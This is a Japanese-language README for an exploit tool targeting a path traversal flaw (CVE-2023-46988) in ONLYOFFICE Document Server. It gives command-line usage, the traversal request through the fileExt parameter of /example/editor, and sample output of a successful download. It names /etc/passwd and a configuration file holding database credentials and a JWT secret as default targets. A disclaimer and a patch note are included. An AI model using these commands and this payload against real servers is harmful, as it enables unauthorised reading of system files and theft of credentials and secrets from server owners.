ONLYOFFICE パストラバーサル Exploit (CVE-2023-46988)

📌 概要

このスクリプトは、ONLYOFFICE Document Server におけるパストラバーサル脆弱性 (CVE-2023-46988) を悪用し、権限のないユーザーがサーバーから任意のファイルをコピーできるようにします。この脆弱性は /example/editor エンドポイントに存在し、fileExt パラメータを操作することで、機密性の高いシステムファイルや設定ファイルにアクセスできます。

⚠️ 免責事項

このツールは教育および許可されたセキュリティ研究目的のみに使用されます。
明示的な許可なくシステムに対して不正に使用することは違法であり、非倫理的です。

🛠 特徴

• デフォルトの機密ファイルを取得:
  • /etc/passwd
  • /etc/onlyoffice/documentserver/local.json（データベース認証情報とJWTシークレットを含む）
• --file 引数で任意のファイルパスを指定して取得。
• Burp Suiteでのインターセプトのためのオプションのプロキシをサポート (--proxy)。
• オプションのSSL検証をサポート (--verify)。
• 特殊文字を含むファイルダウンロード時のエンコーディング問題を修正。

🚀 使用方法

1️⃣ 基本的な使用方法 (デフォルトファイルの取得)

python onlyoffice_exploit.py http://localhost

これにより以下が取得されます:

• /etc/passwd
• /etc/onlyoffice/documentserver/local.json

2️⃣ カスタムファイルの取得 (例: /etc/hosts)

python onlyoffice_exploit.py http://localhost --file /etc/hosts

3️⃣ プロキシの有効化 (例: Burp Suite on 127.0.0.1:8080)

python onlyoffice_exploit.py http://localhost --proxy

python onlyoffice_exploit.py http://localhost --proxy http://127.0.0.1:8080

4️⃣ SSL検証の有効化

python onlyoffice_exploit.py https://example.local --verify

5️⃣ プロキシとSSL検証の組み合わせ

python onlyoffice_exploit.py https://example.local --file /etc/hosts --proxy --verify

🔍 動作の仕組み

1. 悪意のある fileExt パラメータを使用して /example/editor にリクエストを送信:

   GET /example/editor?fileExt=../../../../../../../../etc/passwd
   

2. レスポンスからリダイレクトURLを抽出。
3. レスポンスからリダイレクト先のファイル名を解析。
4. ファイル名の特殊文字に関するエンコーディング問題を修正。
5. /example/download?fileName=<抽出されたファイル名> からファイルをダウンロード。

🛠 出力例

[*] Target URL: http://localhost
[*] Attempting to retrieve: /etc/passwd
[*] Sending request to: http://localhost/example/editor?fileExt=../../../../../../../../etc/passwd
[+] Extracted Redirect URL: http://localhost/example/download?fileName=.passwd
[+] Extracted File Name: .passwd
[*] Downloading file: http://localhost/example/download?fileName=.passwd
[+] File downloaded successfully: .passwd

🔒 対策

ONLYOFFICEは2024年2月のアップデートでこの脆弱性を修正しました。
ユーザーはサーバーを保護するために最新バージョンに更新する必要があります。

🐜 ライセンス

このプロジェクトはMITライセンスの下でライセンスされています。詳細はLICENSEファイルを参照してください。